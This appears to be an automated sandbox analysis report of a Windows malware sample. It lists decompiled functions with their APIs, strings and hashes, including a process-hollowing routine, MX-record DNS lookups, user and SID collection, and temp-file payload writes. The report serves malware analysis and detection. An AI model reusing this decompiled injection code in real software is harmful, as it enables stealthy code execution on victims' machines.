						_t47 =  &(_t157[0x10]); // 0x59be026a
						asm("cdq");
						_t49 =  &(_t157[0x30]); // 0xe4754f45
						_t54 =  &(_t157[0x20]); // 0x406a0000
						_t108 = E0040A505(_t163 * _a4 / 0x3e8 /  *_t49 +  *_t54,  *_t47 * 0x3e8,  *_t46 * 0x3e8);
						asm("cdq");
						_t56 =  &(_t157[0x2c]); // 0xc68314c4
						_t157[0x20] = _t108;
						_t112 = E0040A505(_t163 /  *_t56 + _t108,  *_t47 * 0x3e8,  *_t46 * 0x3e8);
						asm("cdq");
						_t122 = 0;
						_t157[0x58] = 0;
						_t154 = _t112 / 0x3e8;
						_t157[0x54] = GetTickCount();
						_t68 =  &(_t157[0x34]); // 0xa1c35e5f
						_t115 =  *_t68;
						if(_t115 <= _t154) {
							_t157[8] = _t115;
							_t157[0x20] = _t115 * 0x3e8;
						} else {
							_t157[8] = _t154;
							_t157[0x1c] = _t154 * 0x2710;
						}
						goto L31;
					}
				}
			}

0x0040c2dc
0x0040c2de
0x0040c2e4
0x0040c2e9
0x0040c2ef
0x0040c482
0x0040c485
0x0040c488
0x0040c48b
0x0040c48e
0x0040c491
0x0040c494
0x0040c497
0x0040c499
0x0040c499
0x0040c4a0
0x0040c4a3
0x0040c4a6
0x0040c4a9
0x0040c4d5
0x0040c4d5
0x0040c4d5
0x0040c4c1
0x0040c4c9
0x00000000
0x00000000
0x00000000
0x0040c4cc
0x0040c2fe
0x0040c326
0x0040c329
0x0040c337
0x0040c337
0x0040c337
0x0040c342
0x0040c345
0x0040c348
0x0040c348
0x0040c34e
0x0040c351
0x0040c354
0x0040c357
0x00000000
0x0040c357
0x0040c32b
0x0040c32d
0x0040c330
0x0040c335
0x00000000
0x00000000
0x00000000
0x0040c300
0x0040c300
0x0040c300
0x0040c30b
0x0040c316
0x0040c319
0x0040c31c
0x0040c321
0x0040c35a
0x0040c35d
0x0040c47a
0x0040c47d
0x00000000
0x0040c47d
0x0040c363
0x0040c365
0x0040c36d
0x00000000
0x00000000
0x0040c376
0x0040c37f
0x0040c378
0x0040c378
0x0040c37a
0x0040c37a
0x0040c37a
0x0040c384
0x0040c389
0x0040c38d
0x0040c38d
0x0040c395
0x0040c397
0x0040c397
0x0040c399
0x0040c39c
0x0040c39c
0x0040c39f
0x0040c3ac
0x0040c3ad
0x0040c3b5
0x0040c3b8
0x0040c3bc
0x0040c3bd
0x0040c3c1
0x0040c3c7
0x0040c3c9
0x00000000
0x00000000
0x0040c3cb
0x0040c3d0
0x0040c3d0
0x0040c3cd
0x0040c3cd
0x0040c3cd
0x00000000
0x0040c3c3
0x0040c3c3
0x0040c3d1
0x0040c3d1
0x0040c3d4
0x0040c3d8
0x0040c3da
0x0040c3da
0x0040c3e3
0x0040c3eb
0x0040c3f0
0x0040c3f2
0x0040c3f2
0x0040c3fd
0x0040c405
0x0040c408
0x0040c419
0x0040c41a
0x0040c41d
0x0040c421
0x0040c42a
0x0040c42b
0x0040c430
0x0040c436
0x0040c43b
0x0040c443
0x0040c448
0x0040c44b
0x0040c453
0x0040c456
0x0040c456
0x0040c45c
0x0040c46c
0x0040c475
0x0040c45e
0x0040c45e
0x0040c467
0x0040c467
0x00000000
0x0040c45c
0x0040c3c1

APIs

Part of subcall function 0040A4C7: GetTickCount.KERNEL32 ref: 0040A4D1
Part of subcall function 0040A4C7: InterlockedExchange.KERNEL32(?,00000001), ref: 0040A4FA

GetTickCount.KERNEL32 ref: 0040C31F
GetTickCount.KERNEL32 ref: 0040C32B
GetTickCount.KERNEL32 ref: 0040C363
GetTickCount.KERNEL32 ref: 0040C378
GetTickCount.KERNEL32 ref: 0040C44D
InterlockedIncrement.KERNEL32(0040C4E4), ref: 0040C4AE
CreateThread.KERNEL32(00000000,00000000,0040B535,00000000,?,0040C4E0), ref: 0040C4C1
CloseHandle.KERNEL32(00000000,?,0040C4E0,00413588,00408810), ref: 0040C4CC

Strings

localcfg, xrefs: 0040C2DD

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CountTick$Interlocked$CloseCreateExchangeHandleIncrementThread
String ID: localcfg
API String ID: 1553760989-1857712256
Opcode ID: afac293e63498dd1283f128a7be93ce9089d2193a9ff6ee31ee25d998cb0b475
Instruction ID: d79c9f10581ee3273b6165e92ba068ddd4f199cf4cd09fd02743c11af2233124
Opcode Fuzzy Hash: afac293e63498dd1283f128a7be93ce9089d2193a9ff6ee31ee25d998cb0b475
Instruction Fuzzy Hash: 0E515CB1A00B41CFC7249F6AC5D552ABBE9FB48304B509A3FE58BD7A90D778F8448B14

Uniqueness

Uniqueness Score: -1.00%

Function 00419077, Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 241COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 0041907B
__get_printf_count_output.LIBCMTD ref: 00419089
_write_multi_char.LIBCMTD ref: 0041969E
_write_string.LIBCMTD ref: 004196B9
_write_multi_char.LIBCMTD ref: 004196E5
_wctomb_s.LIBCMTD ref: 00419762

Strings

-, xrefs: 0041963E

Memory Dump Source

Source File: 00000018.00000002.800737404.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: _write_multi_char$__get_printf_count_output_get_int_arg_wctomb_s_write_string
String ID: -
API String ID: 532768033-2547889144
Opcode ID: 8bf529a2d7b611d13b0fda7b304de7ead3ae1b9df4351e6bea46e80ad977f426
Instruction ID: e63ed9830feb1faa815c504f7bf72bf81518df1078b094a5c87ff26bf9ed5a69
Opcode Fuzzy Hash: 8bf529a2d7b611d13b0fda7b304de7ead3ae1b9df4351e6bea46e80ad977f426
Instruction Fuzzy Hash: 67A17CB0E102299BEB24DF55CC59BEEB7B0EB45304F1481DAE4196A281D7789EC0CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00418EC5, Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 00418EC9
_write_multi_char.LIBCMTD ref: 0041969E
_write_string.LIBCMTD ref: 004196B9
_write_multi_char.LIBCMTD ref: 004196E5
_wctomb_s.LIBCMTD ref: 00419762

Strings

-, xrefs: 0041963E
DCB, xrefs: 00418EEC

Memory Dump Source

Source File: 00000018.00000002.800737404.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: _write_multi_char$_get_int_arg_wctomb_s_write_string
String ID: -$DCB
API String ID: 557302112-3828759975
Opcode ID: 14122e80413bf1c4284f3f08cdd2545f8d0c52c9291c1d31ad71fe7fa393e645
Instruction ID: 790ef816e583513a59e87dd69e929440703d7f80956c09e3da3416aacb487b9a
Opcode Fuzzy Hash: 14122e80413bf1c4284f3f08cdd2545f8d0c52c9291c1d31ad71fe7fa393e645
Instruction Fuzzy Hash: 9FA15AB4D012299BDB24DF54CC99BEEB7B1FB48304F1481DAE4196A281D7789EC0CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00402D21, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 85
memorylibrarystringCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00402D21(intOrPtr _a4) {
				long _v8;
				long _v12;
				void* _v16;
				char _v28;
				struct HINSTANCE__* _t19;
				_Unknown_base(*)()* _t20;
				long* _t30;
				intOrPtr* _t37;
				long _t39;
				long _t40;
				void* _t41;

				asm("movsd");
				asm("movsd");
				asm("movsw");
				asm("movsb");
				_t19 = GetModuleHandleA( &_v28);
				_t39 = 0;
				if(_t19 != 0) {
					L3:
					_t20 = GetProcAddress(_t19, "DnsQuery_A");
					if(_t20 == _t39) {
						L2:
						return 0;
					}
					_push(_t39);
					_t35 =  &_v16;
					_push( &_v16);
					_push(_t39);
					_push(_t39);
					_push(0xf);
					_push(_a4);
					if( *_t20() != 0) {
						goto L2;
					}
					_t37 = _v16;
					_v8 = _t39;
					_v12 = _t39;
					if(_t37 == _t39) {
						L14:
						return _v12;
					}
					do {
						if( *((short*)(_t37 + 8)) != 0xf) {
							goto L12;
						}
						_t40 = HeapAlloc(GetProcessHeap(), _t39, 0x108);
						if(_t40 == 0) {
							break;
						}
						E0040EE2A(_t35, _t40, 0, 0x108);
						_t41 = _t41 + 0xc;
						 *(_t40 + 4) =  *(_t37 + 0x1c) & 0x0000ffff;
						_t13 = _t40 + 8; // 0x8
						lstrcpynA(_t13,  *(_t37 + 0x18), 0xff);
						_t30 = _v8;
						_v8 = _t40;
						if(_t30 != 0) {
							 *_t30 = _t40;
						} else {
							_v12 = _t40;
						}
						L12:
						_t37 =  *_t37;
						_t39 = 0;
					} while (_t37 != 0);
					goto L14;
				}
				_t19 = LoadLibraryA( &_v28);
				if(_t19 != 0) {
					goto L3;
				}
				goto L2;
			}

0x00402d31
0x00402d32
0x00402d33
0x00402d39
0x00402d3a
0x00402d40
0x00402d44
0x00402d5b
0x00402d61
0x00402d69
0x00402d54
0x00000000
0x00402d54
0x00402d6b
0x00402d6c
0x00402d6f
0x00402d70
0x00402d71
0x00402d72
0x00402d74
0x00402d7b
0x00000000
0x00000000
0x00402d7d
0x00402d80
0x00402d83
0x00402d88
0x00402deb
0x00000000
0x00402deb
0x00402d90
0x00402d95
0x00000000
0x00000000
0x00402da6
0x00402daa
0x00000000
0x00000000
0x00402db0
0x00402db9
0x00402dc1
0x00402dc7
0x00402dcb
0x00402dd1
0x00402dd4
0x00402dd9
0x00402de0
0x00402ddb
0x00402ddb
0x00402ddb
0x00402de2
0x00402de2
0x00402de4
0x00402de6
0x00000000
0x00402dea
0x00402d4a
0x00402d52
0x00000000
0x00000000
0x00000000

APIs

GetModuleHandleA.KERNEL32(00000000,73BCEA30,?,00000000,00402F01,?,004020FF,00412000), ref: 00402D3A
LoadLibraryA.KERNEL32(?), ref: 00402D4A
GetProcAddress.KERNEL32(00000000,DnsQuery_A), ref: 00402D61
GetProcessHeap.KERNEL32(00000000,00000108,000DBBA0), ref: 00402D99
HeapAlloc.KERNEL32(00000000), ref: 00402DA0
lstrcpynA.KERNEL32(00000008,?,000000FF), ref: 00402DCB

Strings

DnsQuery_A, xrefs: 00402D5B
dnsapi.dll, xrefs: 00402D29

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Heap$AddressAllocHandleLibraryLoadModuleProcProcesslstrcpyn
String ID: DnsQuery_A$dnsapi.dll
API String ID: 3560063639-3847274415
Opcode ID: d4096c20dd1105e3ef32148a9c5654c80b560ad64ac552135804a6a2b7bfb5e3
Instruction ID: e5e1ee734cbcfb8ca4eff609f7c37a2f42b45bda1feb54b0ffc2340cedddb21a
Opcode Fuzzy Hash: d4096c20dd1105e3ef32148a9c5654c80b560ad64ac552135804a6a2b7bfb5e3
Instruction Fuzzy Hash: 25214F7190022AABCB11AB55DD48AEFBBB8EF08750F104432F905B7290D7F49E8587D8

Uniqueness

Uniqueness Score: -1.00%

Function 00406CC9, Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 84
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E00406CC9(void* __ecx) {
				_Unknown_base(*)()* _t8;
				CHAR* _t17;
				void* _t18;
				void* _t23;
				char _t25;
				void* _t34;

				_t23 = __ecx;
				if( *0x412e08 != 0) {
					L14:
					return 0x412e08;
				}
				_t8 = GetProcAddress(GetModuleHandleA("kernel32"), "GetSystemWow64DirectoryA");
				if(_t8 == 0) {
					L4:
					if(GetSystemDirectoryA(0x412e08, 0x104) == 0 ||  *0x412e08 == 0) {
						if(GetWindowsDirectoryA(0x412e08, 0x104) == 0 ||  *0x412e08 == 0) {
							E0040EF00(0x412e08, E00402544(0x4122f8, 0x410664, 0xb, 0xe4, 0xc8));
							E0040EE2A(_t23, 0x4122f8, 0, 0x100);
							_t34 = _t34 + 0x28;
						}
						E0040EF1E(0x412e08, E00402544(0x4122f8, 0x410658, 0xb, 0xe4, 0xc8));
						E0040EE2A(_t23, 0x4122f8, 0, 0x100);
					}
					L10:
					_t17 = 0x412e08;
					goto L11;
					L11:
					_t25 =  *_t17;
					_t17 =  &(_t17[1]);
					if(_t25 != 0) {
						goto L11;
					} else {
						_t18 = _t17 - 0x412e09;
						if( *((char*)(_t18 + 0x412e07)) != 0x5c) {
							 *((char*)(_t18 + 0x412e08)) = 0x5c;
							 *((char*)(_t18 + 0x412e09)) = _t25;
						}
						goto L14;
					}
				}
				_push(0x104);
				_push(0x412e08);
				if( *_t8() == 0 ||  *0x412e08 == 0) {
					goto L4;
				} else {
					goto L10;
				}
			}

0x00406cc9
0x00406cd6
0x00406dbe
0x00406dc1
0x00406dc1
0x00406cee
0x00406cfb
0x00406d12
0x00406d1c
0x00406d40
0x00406d60
0x00406d69
0x00406d6e
0x00406d6e
0x00406d86
0x00406d8f
0x00406d98
0x00406d99
0x00406d99
0x00406d9e
0x00406d9f
0x00406d9f
0x00406da1
0x00406da4
0x00000000
0x00406da6
0x00406da6
0x00406daf
0x00406db1
0x00406db8
0x00406db8
0x00000000
0x00406daf
0x00406da4
0x00406cfd
0x00406cfe
0x00406d03
0x00000000
0x00000000
0x00000000
0x00000000

APIs

GetModuleHandleA.KERNEL32(kernel32,GetSystemWow64DirectoryA,PromptOnSecureDesktop,000000E4,00406DDC,000000C8), ref: 00406CE7
GetProcAddress.KERNEL32(00000000), ref: 00406CEE
GetSystemDirectoryA.KERNEL32 ref: 00406D14
GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 00406D2B

Strings

C:\Windows\SysWOW64\, xrefs: 00406CC9, 00406CD1, 00406CFE, 00406D05, 00406D13, 00406D1E, 00406D2A, 00406D42, 00406D5F, 00406D85
GetSystemWow64DirectoryA, xrefs: 00406CDD
kernel32, xrefs: 00406CE2
PromptOnSecureDesktop, xrefs: 00406CDC, 00406D36, 00406D58, 00406D68, 00406D7E, 00406D8E

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Directory$AddressHandleModuleProcSystemWindows
String ID: C:\Windows\SysWOW64\$GetSystemWow64DirectoryA$PromptOnSecureDesktop$kernel32
API String ID: 1082366364-2834986871
Opcode ID: 4fd0d4472a9e5c1afb5b3c7d4942b9d21ac2dd3202bf4021390bfcbddab7d90b
Instruction ID: 283af98db633f334a3c96cb566aa979ace8a56c3c0d7b64ee1e11c7fdc897f47
Opcode Fuzzy Hash: 4fd0d4472a9e5c1afb5b3c7d4942b9d21ac2dd3202bf4021390bfcbddab7d90b
Instruction Fuzzy Hash: AC21F26174034479F72157225D89FF72E4C8F52744F19407AF804B62D2CAED88E582AD

Uniqueness

Uniqueness Score: -1.00%

Function 0040977C, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 82
threadinjectionprocessCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040977C(void* __ecx, CHAR* _a4) {
				struct _PROCESS_INFORMATION _v20;
				void _v24;
				char _v28;
				struct _STARTUPINFOA _v96;
				struct _CONTEXT _v812;
				void* _t33;

				_t46 = __ecx;
				E0040EE2A(__ecx,  &_v96, 0, 0x44);
				_v96.cb = 0x44;
				if(CreateProcessA(0, _a4, 0, 0, 0, 4, 0, 0,  &_v96,  &_v20) != 0) {
					E0040EE2A(_t46,  &_v812, 0, 0x2cc);
					_v812.ContextFlags = 0x10002;
					if(GetThreadContext(_v20.hThread,  &_v812) != 0) {
						_t33 = E0040637C(_entry_, _v20.hProcess,  &_v28,  &_v24);
						_push(0);
						if(_t33 == 0) {
							L4:
							TerminateProcess(_v20.hProcess, ??);
							goto L1;
						}
						if(WriteProcessMemory(_v20, _v812.Ebx + 8,  &_v24, 4, ??) == 0) {
							goto L3;
						}
						_v812.Eax = _v28;
						if(SetThreadContext(_v20.hThread,  &_v812) == 0) {
							goto L3;
						}
						ResumeThread(_v20.hThread);
						return 1;
					}
					L3:
					_push(0);
					goto L4;
				}
				L1:
				return 0;
			}

0x0040977c
0x0040978f
0x004097a9
0x004097b9
0x004097cf
0x004097e1
0x004097f3
0x00409811
0x00409819
0x0040981c
0x004097f6
0x004097f9
0x00000000
0x004097f9
0x00409839
0x00000000
0x00000000
0x0040983e
0x00409856
0x00000000
0x00000000
0x0040985b
0x00000000
0x00409863
0x004097f5
0x004097f5
0x00000000
0x004097f5
0x004097bb
0x00000000

APIs

CreateProcessA.KERNEL32(00000000,00409947,00000000,00000000,00000000,00000004,00000000,00000000,?,?,?,?,PromptOnSecureDesktop), ref: 004097B1
GetThreadContext.KERNEL32(?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 004097EB
TerminateProcess.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 004097F9
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000,?,?,?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 00409831
SetThreadContext.KERNEL32(?,00010002,?,?,?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 0040984E
ResumeThread.KERNEL32(?,?,?,?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 0040985B

Strings

D, xrefs: 004097A9
PromptOnSecureDesktop, xrefs: 00409785

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: ProcessThread$Context$CreateMemoryResumeTerminateWrite
String ID: D$PromptOnSecureDesktop
API String ID: 2981417381-1403908072
Opcode ID: bfc8fb38e21afcc8978dd871529b03129cc6a272bb135abfd583736d5c6f917f
Instruction ID: 6dc29e085b1385aad622296cf5a9b119a202239bcf48ce0aeeb22bf7d7f748db
Opcode Fuzzy Hash: bfc8fb38e21afcc8978dd871529b03129cc6a272bb135abfd583736d5c6f917f
Instruction Fuzzy Hash: 54216DB2901119BBDB119FA1DC49EEF7B7CEF05750F004071B909F2191EB759A44CAA8

Uniqueness

Uniqueness Score: -1.00%

Function 0041CB80, Relevance: 13.5, APIs: 9, Instructions: 45timelibrarythreadCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00424DBC), ref: 0041CB97
CompareFileTime.KERNEL32(?,?), ref: 0041CBA8
DosDateTimeToFileTime.KERNEL32(00000000,00000000,00000000), ref: 0041CBB4
GetVersionExW.KERNEL32(?), ref: 0041CBC1
OpenWaitableTimerA.KERNEL32(00000000,00000000,00424DD4), ref: 0041CBD0
GetCurrentThread.KERNEL32 ref: 0041CBD6
CreateDirectoryW.KERNEL32(00424DE4,00000000), ref: 0041CBE3
LoadLibraryW.KERNEL32(00000000), ref: 0041CBEB
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0041CBF3

Memory Dump Source

Source File: 00000018.00000002.800737404.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: Time$FileLibraryLoad$CompareCreateCurrentDateDirectoryEnvironmentFreeOpenStringsThreadTimerVersionWaitable
String ID:
API String ID: 2743022001-0
Opcode ID: dbbea99c05a550ba8ea99631c350e485063a2afcb1413eac007cbd62a0ffd160
Instruction ID: 7a7de67ad7fb24e364eb0d66f34b5c4f1353265367cb78bddd1dbae4a0e4525a
Opcode Fuzzy Hash: dbbea99c05a550ba8ea99631c350e485063a2afcb1413eac007cbd62a0ffd160
Instruction Fuzzy Hash: 3D116D39A81318EFD710DFA5ED4ABDC7BB0FB0C705F108465FA0596291CAB46A10CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 00406F5F, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00406F5F(long _a4, long _a8) {
				void* _v8;
				long _v12;
				union _SID_NAME_USE _v16;
				void _v84;
				char _v212;
				CHAR* _t36;
				void* _t53;
				intOrPtr* _t54;
				char _t62;
				void* _t65;
				char* _t66;
				intOrPtr _t67;
				CHAR* _t68;
				void* _t69;

				_t68 = _a4;
				 *_t68 = 0;
				if(GetUserNameA(_t68,  &_a8) == 0) {
					return 0;
				}
				_t36 = _t68;
				_t66 =  &(_t36[1]);
				do {
					_t62 =  *_t36;
					_t36 =  &(_t36[1]);
				} while (_t62 != 0);
				_a8 = _t36 - _t66;
				_a4 = 0x7c;
				_v12 = 0x80;
				if(LookupAccountNameA(0, _t68,  &_v84,  &_a4,  &_v212,  &_v12,  &_v16) == 0) {
					L8:
					_a8 = _a8 + wsprintfA( &(_t68[_a8]), "/%d", E00406EDD());
					return _a8;
				}
				E0040EF00( &(_t68[_a8]), "/");
				_a8 = _a8 + 1;
				_push( &_v8);
				_t53 =  &_v84;
				_push(_t53);
				L0040F4AA();
				if(_t53 == 0) {
					goto L8;
				}
				_t54 = _v8;
				_t20 = _t54 + 1; // 0x121
				_t65 = _t20;
				do {
					_t67 =  *_t54;
					_t54 = _t54 + 1;
				} while (_t67 != 0);
				_a4 = _t54 - _t65;
				E0040EE08( &(_t68[_a8]), _v8, _t54 - _t65 + 1);
				_a8 = _a8 + _a4;
				_t69 = _t69 + 0xc;
				LocalFree(_v8);
				goto L8;
			}

0x00406f6c
0x00406f77
0x00406f82
0x00000000
0x00407047
0x00406f88
0x00406f8a
0x00406f8d
0x00406f8d
0x00406f8f
0x00406f90
0x00406f96
0x00406fb3
0x00406fba
0x00406fc9
0x00407025
0x0040703f
0x00000000
0x00407042
0x00406fd6
0x00406fdb
0x00406fe3
0x00406fe4
0x00406fe7
0x00406fe8
0x00406fef
0x00000000
0x00000000
0x00406ff1
0x00406ff4
0x00406ff4
0x00406ff7
0x00406ff7
0x00406ff9
0x00406ffa
0x00407000
0x0040700e
0x00407016
0x00407019
0x0040701f
0x00000000

APIs

GetUserNameA.ADVAPI32(?,0040D7C3), ref: 00406F7A
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,0040D7C3), ref: 00406FC1
ConvertSidToStringSidA.ADVAPI32(?,00000120), ref: 00406FE8
LocalFree.KERNEL32(00000120), ref: 0040701F
wsprintfA.USER32 ref: 00407036

Strings

|, xrefs: 00406FB3
/%d, xrefs: 00407030

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Name$AccountConvertFreeLocalLookupStringUserwsprintf
String ID: /%d$|
API String ID: 676856371-4124749705
Opcode ID: a4e95b79f46088df25ad898cee238acd61ae00be348fc6b2bdbab1b8b404bd7d
Instruction ID: 25602f0bb6ce76eb5d01febd46d0227a680cec7408ef54ec30c82d1084126da1
Opcode Fuzzy Hash: a4e95b79f46088df25ad898cee238acd61ae00be348fc6b2bdbab1b8b404bd7d
Instruction Fuzzy Hash: B5313C72900209BFDB01DFA5DC45BDB7BBCEF04314F048166F949EB241DA79EA588B98

Uniqueness

Uniqueness Score: -1.00%

Function 00406BA7, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E00406BA7(CHAR* _a4) {
				long _v8;
				long _v12;
				long _t14;
				int _t19;
				void* _t28;
				void* _t39;

				_push(_t30);
				if(IsBadCodePtr( *0x4130ac) == 0) {
					_push( &_v8);
					_push(0);
					if( *0x4130ac() == 0) {
						_t28 = E0040EBCC(_v8);
						if(_t28 == 0) {
							L7:
							_t14 = 0;
						} else {
							_push( &_v8);
							_push(_t28);
							if( *0x4130ac() == 0) {
								_v12 = 0;
								_t39 = CreateFileA(_a4, 0x40000000, 0, 0, 2, 0x80, 0);
								if(_t39 != 0xffffffff) {
									_t19 = WriteFile(_t39, _t28, _v8,  &_v12, 0);
									_push(_t39);
									if(_t19 != 0) {
										CloseHandle();
										E0040EC2E(_t28);
										_t14 = _v8;
									} else {
										CloseHandle();
										DeleteFileA(_a4);
										goto L9;
									}
								} else {
									L9:
									E0040EC2E(_t28);
									_t14 = 0;
								}
							} else {
								E0040EC2E(_t28);
								goto L7;
							}
						}
					} else {
						_t14 = 0;
					}
					return _t14;
				} else {
					return 0;
				}
			}

0x00406bab
0x00406bba
0x00406bc4
0x00406bc7
0x00406bd2
0x00406be4
0x00406be9
0x00406c03
0x00406c03
0x00406beb
0x00406bee
0x00406bef
0x00406bfa
0x00406c1a
0x00406c23
0x00406c28
0x00406c3e
0x00406c44
0x00406c47
0x00406c5a
0x00406c61
0x00406c66
0x00406c49
0x00406c49
0x00406c52
0x00000000
0x00406c52
0x00406c2a
0x00406c2a
0x00406c2b
0x00406c30
0x00406c30
0x00406bfc
0x00406bfd
0x00000000
0x00406c02
0x00406bfa
0x00406bd4
0x00406bd4
0x00406bd4
0x00406c6e
0x00406bbc
0x00406bbf
0x00406bbf

APIs

IsBadCodePtr.KERNEL32 ref: 00406BB2

Strings

PromptOnSecureDesktop, xrefs: 00406BC0

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Code
String ID: PromptOnSecureDesktop
API String ID: 3609698214-2980165447
Opcode ID: 39c3a5a53f78f07926ecb9a894269625e93d17a87676cf1a9de91011702fa4cf
Instruction ID: deae59b9a6c18e17a8054c2740d34a6eafe128a66e3352cd220e92de8f8b68f4
Opcode Fuzzy Hash: 39c3a5a53f78f07926ecb9a894269625e93d17a87676cf1a9de91011702fa4cf
Instruction Fuzzy Hash: D7218B72208115FFEB10ABB1ED49EDF3EACDB08364B218436F543F1091EA799A50966C

Uniqueness

Uniqueness Score: -1.00%

Function 00409064, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 83
filestringCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E00409064(void* __eflags, void* _a4, CHAR* _a8) {
				long _v8;
				char _v1032;
				signed int _t29;
				signed int _t62;
				void* _t64;

				GetTempPathA(0x400,  &_v1032);
				E00408274( &_v1032);
				_t29 = E0040ECA5();
				_t62 = 9;
				_push(_t29 % _t62);
				_push(E0040ECA5() % _t62);
				_push(E0040ECA5() % _t62);
				_push(E0040ECA5() % _t62);
				_push( &_v1032);
				wsprintfA(_a8, E00402544(0x4122f8, 0x410794, 0xf, 0xe4, 0xc8));
				E0040EE2A(_t62, 0x4122f8, 0, 0x100);
				_t64 = CreateFileA(_a8, 0x40000000, 0, 0, 2, 0, 0);
				if(_t64 <= 0) {
					return 0;
				}
				WriteFile(_t64, _a4, lstrlenA(_a4),  &_v8, 0);
				CloseHandle(_t64);
				return 1;
			}

0x0040907b
0x00409088
0x0040908e
0x00409095
0x0040909c
0x004090a8
0x004090b4
0x004090c9
0x004090ca
0x004090e9
0x004090f8
0x00409114
0x00409118
0x00000000
0x0040913f
0x0040912d
0x00409134
0x00000000

APIs

GetTempPathA.KERNEL32(00000400,?,00000000,PromptOnSecureDesktop), ref: 0040907B
wsprintfA.USER32 ref: 004090E9
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040910E
lstrlenA.KERNEL32(00000000,00000100,00000000), ref: 00409122
WriteFile.KERNEL32(00000000,00000000,00000000), ref: 0040912D
CloseHandle.KERNEL32(00000000), ref: 00409134

Strings

PromptOnSecureDesktop, xrefs: 0040906D, 004090C4, 004090DC, 004090F7

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$CloseCreateHandlePathTempWritelstrlenwsprintf
String ID: PromptOnSecureDesktop
API String ID: 2439722600-2980165447
Opcode ID: 188a13e8e283deffbdd7edd409e5440d44078115ea6b07f25380db7d037fd4ef
Instruction ID: 58bbe077760212e8da181cf829ffda1a70542de1f4ba4b23f7e3a80b8f6fba70
Opcode Fuzzy Hash: 188a13e8e283deffbdd7edd409e5440d44078115ea6b07f25380db7d037fd4ef
Instruction Fuzzy Hash: 451175B26401147AF7246723DD0AFEF3A6DDBC8704F04C47AB70AB50D1EAB94A519668

Uniqueness

Uniqueness Score: -1.00%

Function 0041A214, Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 222COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 0041A218
_write_multi_char.LIBCMTD ref: 0041AA2B
_write_string.LIBCMTD ref: 0041AA46
_write_multi_char.LIBCMTD ref: 0041AA72

Strings

DCB, xrefs: 0041A23B

Memory Dump Source

Source File: 00000018.00000002.800737404.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: _write_multi_char$_get_int_arg_write_string
String ID: DCB
API String ID: 3433125407-3411329140
Opcode ID: da1483f8070ec88b6ff3379339dbe02878e691e8a115cf66c83ec7aa524b832f
Instruction ID: 3a0a1c44d57e4171d7ea1d8c6b08bde648eea9ffe495d2dd81db386953ba4ae0
Opcode Fuzzy Hash: da1483f8070ec88b6ff3379339dbe02878e691e8a115cf66c83ec7aa524b832f
Instruction Fuzzy Hash: C3A16BF09012189BDB24DF54CD91BEEB7B5BF44304F14819AE6096B282D738AED4CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040E3CA, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 136
registryCOMMON

Download Yara Rule

